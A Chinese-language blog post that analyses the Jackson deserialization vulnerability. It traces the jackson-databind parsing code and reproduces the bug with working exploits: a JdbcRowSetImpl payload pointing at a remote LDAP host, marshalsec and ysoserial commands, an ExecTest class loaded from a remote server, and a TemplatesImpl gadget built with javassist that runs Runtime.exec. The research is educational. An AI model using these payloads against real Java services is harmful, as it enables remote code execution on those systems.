JavaSec Jackjson反序列化漏洞利用原理

在上篇《JavaSec FastJson反序列化漏洞利用原理》中介绍了FastJson的基本使用与及fastjson在解析json串还原对象状态的逻辑及其中的利用点,而FastJson的修复方式也是仅仅加一些黑名单限制和一些字符处理,但都有绕过的方式,在苦于FastJson的漏洞修复,在国外使用Jackson人数还是很多的,都是json的解析库,工作的原理大同小异,漏洞利用点也差不多。

这里将介绍

1.Jackson的基本使用

2.Jackson的反序列过程与利用点分析

3.Jackson的利用方式总结

一、Jackson基本使用

还是以Fastjson的User demo介绍Jackson的基本使用

User.java:javaBean

package com.thonsun.demo01;

/**
 * @Project: test-poc
 * @Desc:
 * @Author: thonsun
 * @Create: 2020/12/26 21:48
 **/
public class User {
    private String name;
    private int age;
    public Flag flag;

    public User(String name, int age, Flag flag) {
        System.out.println("user constructor called");
        this.name = name;
        this.age = age;
        this.flag = flag;
    }

    public User() {
        System.out.println("user default constructor called");
    }

    public String getName() {
        System.out.println("user getName called");
        return name;
    }

    public void setName(String name) {
        System.out.println("user setName called");
        this.name = name;
    }

    public int getAge() {
        System.out.println("user getAge called");
        return age;
    }

    public void setAge(int age) {
        System.out.println("user setAget called");
        this.age = age;
    }

    public Flag getFlag() {
        System.out.println("user getFlag called");
        return flag;
    }

    public void setFlag(Flag flag) {
        System.out.println("user setFlag called");
        this.flag = flag;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", flag=" + flag +
                '}';
    }
}

class Flag {
    public String value;

    @Override
    public String toString() {
        return "Flag{" +
                "value='" + value + '\'' +
                '}';
    }

    public String getValue() {
        System.out.println("flag getValue called");
        return value;
    }

    public void setValue(String value) {
        System.out.println("flag setValue called");
        this.value = value;
    }

    public Flag(String value) {
        System.out.println("flag constructor called");
        this.value = value;
    }

    public Flag() {
        System.out.println("flag default constructor called");
    }
}

TestUser.java:测试类

package com.thonsun.demo01;

import com.fasterxml.jackson.databind.ObjectMapper;
import org.junit.Test;

import java.io.IOException;

/**
 * @Project: test-poc
 * @Desc:
 * @Author: thonsun
 * @Create: 2020/12/26 21:57
 **/
public class TestUser {
    @Test
    public void testUser() throws IOException {
        Flag flag = new Flag("flag{xxxxxx}");
        User user = new User("thonsun", 22, flag);
        ObjectMapper objectMapper = new ObjectMapper();

        System.out.println("==start serialize==");
        String s = objectMapper.writeValueAsString(user);
        System.out.println("==start deserialize==");
        User user1 = objectMapper.readValue(s, User.class);
    }
}

运行结果:

image-20201226221042446

和Fastjson在序列化和反序列化差别不大,主要通过getXX获取字段值序列化 与 默认构造器+setXX反序列化还原对象。

Jackson只支持对象的public属性或者有对象getter方法的属性序列化,即protected,private,final,static等属性将不会序列化到json串中,这是JavaBean的向后兼容使然。即Jackson在序列化的时候优先通过getXXX方法获取属性,如果没有则判断该属性是否public访问,是则通过反射获取该属性值。该兴趣可以改demo程序成员属性与getter方法调试。

二、Jackson反序列化分析

jackson对多态的支持通过 objectMapper.enableDefaultTyping()提供支持;在应用开发中,一个Java对象成员往往使用多态,标识这个成员可能是一个抽象接口,抽象类或者父类,若没有对这个字段标识是哪个具体实现类,json在解析无法找到改成员的class进行实例化,在多态上Fastjson是不支持的。

对上面的例子进行改造

定义接口FlagHandler

package com.thonsun.demo02;

/**
 * @Project: test-poc
 * @Desc:
 * @Author: thonsun
 * @Create: 2020/12/26 22:24
 **/
public interface FlagHandler {
}

实现接口Flag

package com.thonsun.demo02;

/**
 * @Project: test-poc
 * @Desc:
 * @Author: thonsun
 * @Create: 2020/12/26 22:24
 **/
public class Flag implements FlagHandler {
    public String value;

    @Override
    public String toString() {
        return "Flag{" +
                "value='" + value + '\'' +
                '}';
    }

    public String getValue() {
        System.out.println("flag getValue called");
        return value;
    }

    public void setValue(String value) {
        System.out.println("flag setValue called");
        this.value = value;
    }

    public Flag(String value) {
        System.out.println("flag constructor called");
        this.value = value;
    }

    public Flag() {
        System.out.println("flag default constructor called");
    }
}

User

package com.thonsun.demo02;


/**
 * @Project: test-poc
 * @Desc: jackson 多态支持
 * @Author: thonsun
 * @Create: 2020/12/26 22:23
 **/
public class User {
    private String name;
    private int age;
    private FlagHandler flag;;

    public User(String name, int age, FlagHandler flag) {
        System.out.println("user constructor called");
        this.name = name;
        this.age = age;
        this.flag = flag;
    }

    public User() {
        System.out.println("user default constructor called");
    }

    public String getName() {
        System.out.println("user getName called");
        return name;
    }

    public void setName(String name) {
        System.out.println("user setName called");
        this.name = name;
    }

    public int getAge() {
        System.out.println("user getAge called");
        return age;
    }

    public void setAge(int age) {
        System.out.println("user setAget called");
        this.age = age;
    }

    public FlagHandler getFlag() {
        System.out.println("user getFlag called");
        return flag;
    }

    public void setFlag(FlagHandler flag) { //都是通过接口标识
        System.out.println("user setFlag called");
        this.flag = flag;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", flag=" + flag +
                '}';
    }
}

没有开启多态支持

image-20201226230509583

开启多态支持

image-20201226230603956

可以看到序列化的成员Flag变为数组的形式,下标为0标记着该对象的类,1为具体的值。

看到这里可以联系到Fastjson的autoType机制,所以Jackson的漏洞利用与Fastjson的漏洞利用大同小异,可以总结的一个

1.Jackson 开启 Defualt Type支持

2.服务端classpath存在可以利用的类,如 com.sun.rowset.JdbcRowSetImpl,target 类满足setXX可控触发JDNI注入利用。

一点思考:

结合Fastjson与Jackson的漏洞利用,对比Java的反序列化,他们的共同点都是从输入的字节流中还原一个对象的状态,当Java反序列的字节流规范中,序列化的数据不仅仅保存了每一个成员变量的值(状态),也记录的这个成员变量的类型(如TC_OBJECT);所以Java的反序列漏洞利用可以通过寻找readObject函数(Target类与内部成员类的readObject)里用到的成员变量的gadget 达成利用的目的,可以通过成员变量的值控制(如Fastjson,Jackson这种JDNI注入利用 JdbcRowSetImple);Json的反序列是不论是Fastjson还是Jackson,都限定了从某一个类的constructor默认参数实例化(如Fastjson的的autotype,Jackson在parseObject传入的Target.Class),通过getter or setter方法给成员对象赋值还原对象,利用的仅仅是这个Taget类与Target类的成员的setter or getter方法(这是一个递归的解析还原JSON串)

下面是具体的调试分析jackson解析json串还原对象状态逻辑,默认开启defaultTyping

jackson-databind 2.8.8

<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.8.8</version>
</dependency>

1.objectMapper#readValue

    public <T> T readValue(String content, Class<T> valueType)
        throws IOException, JsonParseException, JsonMappingException
    {
        return (T) _readMapAndClose(_jsonFactory.createParser(content), _typeFactory.constructType(valueType));
    } 

_typeFactory.constructType(valueType): 通过传⼊的第⼆个参数,即Target类对象获取⼀个Type对象,这⾥不会细跟,主要简单说下他的流程。它⾸先⾸先会从缓存尝试获取该Class对应的Type,缓存中有这个数据的前提是,这个objectMapper前有对这个Class进⾏过序列化,之后会经过⼀系列的判断,这些判断包括判断它的Class是否属于某些特殊的Class(Map,Collection,AtomicReference)以及判断这个Class是否是Interface,这些判断在我上⾯的代码中都不成⽴,最终会通过 _newSimpleType ⽅法来创建⼀个Type对象。

image-20201227230422457

获取到的Type: 主要记录了类Class,superClass等信息

image-20201227231407071

_jsonFactory.createParser(content): 将String生成一个Paser对象,用于后面的解析

_readMapAndClose:

2.objectMapper#_readMapAndClose(Paser,Type):

从paser(json串的生成,封装了对字符串的处理,即单词的提取这些,返回解析的Token标识) 获取第一个Token,Token的列表

    NOT_AVAILABLE((String)null, -1),
    START_OBJECT("{", 1),
    END_OBJECT("}", 2),
    START_ARRAY("[", 3),
    END_ARRAY("]", 4),
    FIELD_NAME((String)null, 5),
    VALUE_EMBEDDED_OBJECT((String)null, 12),
    VALUE_STRING((String)null, 6),
    VALUE_NUMBER_INT((String)null, 7),
    VALUE_NUMBER_FLOAT((String)null, 8),
    VALUE_TRUE("true", 9),
    VALUE_FALSE("false", 10),
    VALUE_NULL("null", 11);

这里进入START_OBJECT的解析,标识开始解析还原一个对象,要还原一个对象要获取这个JSON串对应的Deserializer,最终调用Deserializer#deserilize还原对象:

image-20201227232213728

createDeserializationContext 依据配置和json串对应的paser获取上下文context,这些信息包括,这些用于解析

image-20201227233750790

_findRootDeserializer 依据Json串上下文和 Json 类型信息最终返回 JSON对应的Deserializer,可用与后面调用deserial方法从json串中还原对象,在后面的分析可以知道,实际是调用setter | getter | 反射对默认构造器获得的对象赋值。 这个方法才是重点,简述了后面为什么有些利用链利用的是getter 方法

1._findRootDeserializer

_findRootDeserializer ⽅法中,会尝试从根节点去获取 Deserializer ,类似于缓存的操作,由于这是第⼀次获取 Deserializer ,所以⾃然从根节点是取不到的

image-20201227234925524

它会进⼊到 findRootValueDeserializer ⽅法中获取Deserializer 。

2.findRootValueDeserializer

该⽅法会从尝试从缓存中获取 Deserializer ,这⾥的获取⽅式有点不同了,它不是单纯的从个map中去调⽤get⽅法获取,⽽是会经过⼀系列很复杂的获取⽅式后,判断是否获取到了,如果获取不到,会调⽤ _createAndCacheValueDeserializer 去创建⼀个 Deserializer 并对其进⾏缓存。最后会通过buildBeanDeserializer ⽅法创建⼀BeanDeserializer (因为前⾯的⼀系列判断都不满⾜,⽐如判断Type的类型,如判断是不是Enum,Container,Reference等)

image-20201227234752583

并通过下⾯⼏个⽅法来为创建好的 BeanDeserializer 对象赋值

image-20201228003153340

3.addBeanProps

主要的逻辑在于解决字段与setter | getter | 反射的绑定,用于后面解析json串还原对象。

先贴上代码

    protected void addBeanProps(DeserializationContext ctxt,
            BeanDescription beanDesc, BeanDeserializerBuilder builder)
        throws JsonMappingException
    {
        final boolean isConcrete = !beanDesc.getType().isAbstract();
        final SettableBeanProperty[] creatorProps = isConcrete
                ? builder.getValueInstantiator().getFromObjectArguments(ctxt.getConfig())
                : null;
        final boolean hasCreatorProps = (creatorProps != null);

        // 01-May-2016, tatu: Which base type to use here gets tricky, since
        //   it may often make most sense to use general type for overrides,
        //   but what we have here may be more specific impl type. But for now
        //   just use it as is.
        JsonIgnoreProperties.Value ignorals = ctxt.getConfig()
                .getDefaultPropertyIgnorals(beanDesc.getBeanClass(),
                        beanDesc.getClassInfo());
        Set<String> ignored;

        if (ignorals != null) {
            boolean ignoreAny = ignorals.getIgnoreUnknown();
            builder.setIgnoreUnknownProperties(ignoreAny);
            // Or explicit/implicit definitions?
            ignored = ignorals.getIgnored();
            for (String propName : ignored) {
                builder.addIgnorable(propName);
            }
        } else {
            ignored = Collections.emptySet();
        }

        // Also, do we have a fallback "any" setter?
        AnnotatedMethod anySetterMethod = beanDesc.findAnySetter();
        AnnotatedMember anySetterField = null;
        if (anySetterMethod != null) {
            builder.setAnySetter(constructAnySetter(ctxt, beanDesc, anySetterMethod));
        }
        else {
            anySetterField = beanDesc.findAnySetterField();
            if(anySetterField != null) {
                builder.setAnySetter(constructAnySetter(ctxt, beanDesc, anySetterField));
            }
        }
        // NOTE: we do NOT add @JsonIgnore'd properties into blocked ones if there's any-setter
        // Implicit ones via @JsonIgnore and equivalent?
        if (anySetterMethod == null && anySetterField == null) {
            Collection<String> ignored2 = beanDesc.getIgnoredPropertyNames();
            if (ignored2 != null) {
                for (String propName : ignored2) {
                    // allow ignoral of similarly named JSON property, but do not force;
                    // latter means NOT adding this to 'ignored':
                    builder.addIgnorable(propName);
                }
            }
        }
        final boolean useGettersAsSetters = ctxt.isEnabled(MapperFeature.USE_GETTERS_AS_SETTERS)
                && ctxt.isEnabled(MapperFeature.AUTO_DETECT_GETTERS);

        // Ok: let's then filter out property definitions
        List<BeanPropertyDefinition> propDefs = filterBeanProps(ctxt,
                beanDesc, builder, beanDesc.findProperties(), ignored);

        // After which we can let custom code change the set
        if (_factoryConfig.hasDeserializerModifiers()) {
            for (BeanDeserializerModifier mod : _factoryConfig.deserializerModifiers()) {
                propDefs = mod.updateProperties(ctxt.getConfig(), beanDesc, propDefs);
            }
        }

        //【重要】:解析了字段与调用方法的绑定,如setter,getter,反射设置属性
        // At which point we still have all kinds of properties; not all with mutators:
        for (BeanPropertyDefinition propDef : propDefs) {
            SettableBeanProperty prop = null;
            /* 18-Oct-2013, tatu: Although constructor parameters have highest precedence,
             *   we need to do linkage (as per [databind#318]), and so need to start with
             *   other types, and only then create constructor parameter, if any.
             */
            if (propDef.hasSetter()) {
                JavaType propertyType = propDef.getSetter().getParameterType(0);
                prop = constructSettableProperty(ctxt, beanDesc, propDef, propertyType);
            } else if (propDef.hasField()) {
                JavaType propertyType = propDef.getField().getType();
                prop = constructSettableProperty(ctxt, beanDesc, propDef, propertyType);
            } else if (useGettersAsSetters && propDef.hasGetter()) {
                /* May also need to consider getters
                 * for Map/Collection properties; but with lowest precedence
                 */
                AnnotatedMethod getter = propDef.getGetter();
                // should only consider Collections and Maps, for now?
                Class<?> rawPropertyType = getter.getRawType();
                if (Collection.class.isAssignableFrom(rawPropertyType)
                        || Map.class.isAssignableFrom(rawPropertyType)) {
                    prop = constructSetterlessProperty(ctxt, beanDesc, propDef);
                }
            }
            // 25-Sep-2014, tatu: No point in finding constructor parameters for abstract types
            //   (since they are never used anyway)
            if (hasCreatorProps && propDef.hasConstructorParameter()) {
                /* If property is passed via constructor parameter, we must
                 * handle things in special way. Not sure what is the most optimal way...
                 * for now, let's just call a (new) method in builder, which does nothing.
                 */
                // but let's call a method just to allow custom builders to be aware...
                final String name = propDef.getName();
                CreatorProperty cprop = null;
                if (creatorProps != null) {
                    for (SettableBeanProperty cp : creatorProps) {
                        if (name.equals(cp.getName()) && (cp instanceof CreatorProperty)) {
                            cprop = (CreatorProperty) cp;
                            break;
                        }
                    }
                }
                if (cprop == null) {
                    List<String> n = new ArrayList<>();
                    for (SettableBeanProperty cp : creatorProps) {
                        n.add(cp.getName());
                    }
                    ctxt.reportBadPropertyDefinition(beanDesc, propDef,
                            "Could not find creator property with name '%s' (known Creator properties: %s)",
                            name, n);
                    continue;
                }
                if (prop != null) {
                    cprop.setFallbackSetter(prop);
                }
                prop = cprop;
                builder.addCreatorProperty(cprop);
                continue;
            }

            if (prop != null) {
                Class<?>[] views = propDef.findViews();
                if (views == null) {
                    // one more twist: if default inclusion disabled, need to force empty set of views
                    if (!ctxt.isEnabled(MapperFeature.DEFAULT_VIEW_INCLUSION)) {
                        views = NO_VIEWS;
                    }
                }
                // one more thing before adding to builder: copy any metadata
                prop.setViews(views);
                builder.addProperty(prop);
            }
        }
    }

getter方法调用的条件

image-20201228004956575

最终用来解析还原对象的Deserializer.deserialize 依据_hashArea的name 与 Method对应还原对象。

image-20201228010447887

4.deser.deserialize

public Object deserialize(JsonParser p, DeserializationContext ctxt) throws IOException
{
    // common case first
    if (p.isExpectedStartObjectToken()) {
        if (_vanillaProcessing) {
            return vanillaDeserialize(p, ctxt, p.nextToken());//初始化一个对象
        }
        // 23-Sep-2015, tatu: This is wrong at some many levels, but for now... it is
        //    what it is, including "expected behavior".
        p.nextToken();
        if (_objectIdReader != null) {
            return deserializeWithObjectId(p, ctxt);
        }
        return deserializeFromObject(p, ctxt);
    }
    return _deserializeOther(p, ctxt, p.getCurrentToken());
}

5.vanillaDeserialize

private final Object vanillaDeserialize(JsonParser p,
                                        DeserializationContext ctxt, JsonToken t)
    throws IOException
{
    final Object bean = _valueInstantiator.createUsingDefault(ctxt); //默认构造器初始化对象
    // [databind#631]: Assign current value, to be accessible by custom serializers
    p.setCurrentValue(bean);
    if (p.hasTokenId(JsonTokenId.ID_FIELD_NAME)) {
        String propName = p.getCurrentName();
        do {
            p.nextToken();
            SettableBeanProperty prop = _beanProperties.find(propName);//获取字段的设置方法

            if (prop != null) { // normal case
                try {
                    prop.deserializeAndSet(p, ctxt, bean);//调用初始化字段,调用每个properties对应的方法
                } catch (Exception e) {
                    wrapAndThrow(e, bean, propName, ctxt);
                }
                continue;
            }
            handleUnknownVanilla(p, ctxt, bean, propName);
        } while ((propName = p.nextFieldName()) != null);
    }
    return bean;
}

字段的赋值在 SettableBeanProperty.deserializeAndSet(): 不同的 SettableBeanProperty 有不同的行为

image-20201228011352644

1.MethodProperty通过反射调用bean的setter方法

public void deserializeAndSet(JsonParser p, DeserializationContext ctxt,
                              Object instance) throws IOException
{
    Object value = deserialize(p, ctxt);
    try {
        _setter.invoke(instance, value);
    } catch (Exception e) {
        _throwAsIOE(p, e, value);
    }
}

2.FieldProperty通过反射设置Bean的值

public void deserializeAndSet(JsonParser p,
                              DeserializationContext ctxt, Object instance) throws IOException
{
    Object value = deserialize(p, ctxt);
    try {
        _field.set(instance, value);
    } catch (Exception e) {
        _throwAsIOE(p, e, value);
    }
}

这里的deserialize 会判断是否开启了 Default Typing ,如果开启了该属性则使⽤ deserializeWithType ⽅法获取值,反之使⽤ deserialize ⽅法获取值 。

三、Jackson类加载利用

3.1 ysoserial快速生成

1.生成利用链代码(Exploit Class 字节码,通过Class.loadClass)

java -jar ysoserial.jar CommonsCollections1 notepad.exe |base64
#验证
java -jar ysoserial.jar CommonsCollections1 notepad.exe >poc.bin
java -cp ysoserial.jar ysoserial.Deserializer poc.bin

image-20201226234047772

2.marshalsec 快速搭建LDAP|RMI服务

java -cp target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.58.131:8080/#ExecTest 1099

3.2 JNDI注入利用

举Fastjson同样的利用链 com.sun.rowset.JdbcRowSetImpl说明存在Jackson反序列化漏洞的JNDI注入利用,涉及的有

  1. RMI Reference JNDI注入利用
  2. LDAP JNDI注入利用
  3. CORBA JNDI注入利用

关于他们的纤细解析可以看《JavaSec JNDI注入利用分析》

package com.thonsun.demo03;

import com.fasterxml.jackson.databind.ObjectMapper;
import org.junit.Test;

import java.io.IOException;

/**
 * @Project: test-poc
 * @Desc: 测试利用链
 * @Author: thonsun
 * @Create: 2020/12/26 23:52
 **/
public class TestPOC {
    @Test
    public void TestJdbcRowSetImpl() throws IOException {
        //com.sun.rowset.JdbcRowSetImpl
        //["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://192.168.8.115:1099/evil","autoCommit":"1"}]
        String poc = "[\"com.sun.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://192.168.8.115:1099/evil\",\"autoCommit\":true}]";

        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();
        objectMapper.readValue(poc,Object.class);
    }
}

通过marshalsec 起LDAP服务,指向远程ExecTest.class 的web服务

java -cp target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.58.131:8080/#ExecTest 1099

ExecTest.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class ExecTest implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec("xterm");
        return null;
    }

    public static String exec(String cmd) {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static void main(String[] args) {
        exec("123");
    }
}

编译并托管

javac ExecTest.java & python -m http.server 8080

执行效果

image-20201227000019719

3.3 Java反序列化

这里举com.sun.org.apache.xalan.internal.xsltc.TemplateImpl 说明在json反序列化中利用Java反序列化漏洞进行RCE的利用调用getter方法的情况。这个主要的利用对象TemplateImpl的属性 _outputProperties 在JsonBeanDeserializer 调用的是getter方法,上面debug分析Jackson的实现原理已经分析调用getter需满足(详勘addBeanProps方法):

1.没有setting方法

2.私有属性

3.getter方法返回值是Map,Collection的类型

3.3.1 利用链分析

所以这个Template利用链的过程是:

TemplatesImpl.getOutputProperties()
  TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
      TemplatesImpl.defineTransletClasses()
        ClassLoader.defineClass()
        Class.newInstance()

这里总结下过程

  1. _outputProperties 触发getOutputProperties()
  2. getOutputProperties()进入newTransformer()
  3. newTranformer()进入getTransletInstance()获取Transformer
  4. getTransletInstance()由于json串中指定了_name=”xxx”,_class 为空,所以进入了 进入 defineTransletClasses() 生成payload对应的Class类
  5. defineTransletClasses() 主要从json串_bytecodes属性字节码中通过 ClassLoader.defineClass 定义一个类,也就是我们的利用Exploit类,这里会检查defineClass的返回值,即检查payload 加载为类的父类是否”com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet“所以我们的payload在生成的时候要是这个(ABSTRACT_TRANSLET)类的子类
  6. 最后回到getTransletInstance() 函数利用defineTransletClassed()生成的Class对象,也就是我们的利用利用,通过 newInstance()实例化,所以payload只需要放在Class的默认构造函数即可触发RCE。

3.3.2 代码分析

getOutputProperty

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();//进入newTranformer()
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

newTranformer

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);//进入getTransletInstance()

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

getTransletInstance()

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        //json _name = "thonsun"
        if (_name == null) return null;

        //json _class = null满足
        if (_class == null) defineTransletClasses();//进入 defineTransletClasses() 生成payload对应的Class类

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//实例化Payload对象,POC的代码就放在默认的构造函数中触发RCE
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

defineTransletClasses()

    private void defineTransletClasses()
        throws TransformerConfigurationException {

        //json 串中 _bytecodes属性就是我们的payload,此时还是
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            //_bytecodes是二维数组,第一个就是payload class的字节码
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }

            for (int i = 0; i < classCount; i++) {
                //进入ClassLoader.defineClass(payload) 从字节码生成Class对象
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                //检查payload 加载为类的父类是否是 ”com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet“
                //所以我们的payload在生成的时候要是这个(ABSTRACT_TRANSLET)类的子类
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

3.3.3 Exploit 生成

从上面的分析可以知道Payload应该放在Class的默认构造器或者静态方法中,这里有两种生成字节码文件:

1.直接加载class文件

2.通过javassist 动态生成字节码

package com.thonsun.demo03;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import org.junit.Test;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;

/**
 * @Project: test-poc
 * @Desc: 测试利用链
 * @Author: thonsun
 * @Create: 2020/12/26 23:52
 **/
public class TestPOC {
    @Test
    public void TestJdbcRowSetImpl() throws IOException {
        //com.sun.rowset.JdbcRowSetImpl
        //["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://192.168.8.115:1099/evil","autoCommit":"1"}]
        String poc = "[\"com.sun.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://192.168.8.115:1099/evil\",\"autoCommit\":true}]";

        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();
        objectMapper.readValue(poc,Object.class);
    }

    @Test
    public void TestTemplateImpl() throws IOException, CannotCompileException, NotFoundException {
        //poc1
        //将字节码输出,TemplateImpl loadClass 实现类的加载
        FileInputStream fis = new FileInputStream("target/test-classes/com/thonsun/demo03/ExploitOne.class");
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        IOUtils.copy(fis, barr);
        String base64Poc = Base64.encodeBase64String(barr.toByteArray());

        //poc2
        //String base64Poc = Base64.encodeBase64String(getPocbyte());


        final String EXPLOIT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String poc = "["  +
                "\"" + EXPLOIT_CLASS +"\","+
                    "{"+
                        "\"transletBytecodes\":["+
                        "\"" + base64Poc + "\""+
                        "],"+
                        "\"transletName\":" +"\"thonsun\","+
                        "\"outputProperties\":{}" +
                    "}"+
                "]";

        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();
        try {
            objectMapper.readValue(poc,Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private byte[] getPocbyte() throws CannotCompileException, NotFoundException, IOException {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(TestPOC.class.getName());
        //java.lang.Runtime.getRuntime().exec("calc");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";


        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Thonsun" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); //设置父类
        return cc.toBytecode();
    }
}

3.3.4 执行效果

通过JsonBeanDesierialize依据field 与 method解析json串

image-20201228150826752

复现环境:

JDK 1.6u45

jsonson-databind 2.7.8

image-20201228172422757

四、关于复现文章的总结:

1.复现环境

在JDK1.6u45复现成功,从源码层调试看能够成功复现的JDK版本中 TemplateImpl 实现应满足 defineTransletClasses函数中没有调用 _tfactory.getExternalExtensionsMap() 去获取类加载器:

如JDK1.6u45实现

image-20201228165838951

JDK1.7u80实现

image-20201228170035199

对于使用 _tfactory.getExternalExtensionsMap() 的JDK来说,由于Jackson无法给_tfactory(私有且无getter&setter)赋值,会抛出空指针异常没有进入下面的类加载过程。

在网上找的一些博客记录Fastjson的漏洞复现就是直接给出一个payload的截图与运行结果,没有指出Payload该怎么生成与及运行成功的原理,起码给出复现的环境。所以说光看着理解是不够的,需要动手去调源码,才能加深对漏洞原理与漏洞利用的理解,发现一些限制条件。

参考资料

1.vuldb jackson

2.ysoserial


 上一篇
JavaSec Fastjson反序列漏洞复现 JavaSec Fastjson反序列漏洞复现
在《JavaSec FastJson反序列化漏洞利用原理》中分析了FastJson的反序列化漏洞成因,也总结了FastJson的反序列化利用方式,这里将复现一些有关FastJson的漏洞利用,以清晰了解FastJson的漏洞发展史,从中吸取
2020-11-10
下一篇 
JavaSec Jackjson反序列漏洞复现 JavaSec Jackjson反序列漏洞复现
在《JavaSec Jackson反序列化漏洞原理》中分析Jackson反序列化漏洞的成因,也总结了一些了Jackson的反序列化漏洞利用方式,这里将以Jackson的漏洞复现为主,以理清Jackson的漏洞发展史,从中吸取一些攻防经验。
2020-10-24
  目录